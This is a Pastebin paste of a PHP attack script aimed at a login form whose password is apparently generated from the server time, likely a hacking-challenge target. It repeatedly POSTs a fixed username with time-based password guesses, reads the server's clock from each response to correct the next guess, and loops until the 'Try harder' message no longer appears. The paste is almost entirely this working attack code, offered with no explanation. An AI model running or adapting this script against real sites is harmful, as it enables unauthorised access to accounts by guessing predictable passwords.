Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $hackmeurl = $argv[1]; //input the url here
- $timezone = 7*60*60; //servertime seems to be UTC+9, because i'm in germany it's +7h for me.
- //--------------------- Nothing to edit here
- $time=time(); // just a start...gets changed to servertime later on
- $latenz = 0; // latency is going to be calculated automatically, based on 2 consecutive requests
- do {
- // Create the context for the request
- $context = stream_context_create(array(
- 'http' => array(
- // http://www.php.net/manual/en/context.http.php
- 'method' => 'POST',
- 'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
- 'content' => 'user=abcde&pass='.($time+$latenz+$timezone)
- )
- ));
- echo 'Trying pass: '.($time+$latenz)."\n";
- $response = file_get_contents($hackmeurl, FALSE, $context);
- preg_match('/<h3>(.*?)<\/h3>/i',$response,$m);
- echo "\tExpected pass: ".(strtotime($m[1])+$timezone)."\n";
- $latenz = strtotime($m[1])-($time);
- $time = strtotime($m[1]);
- echo "DONE\n";
- } while(strpos($response,'Try harder'));
- print $response;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement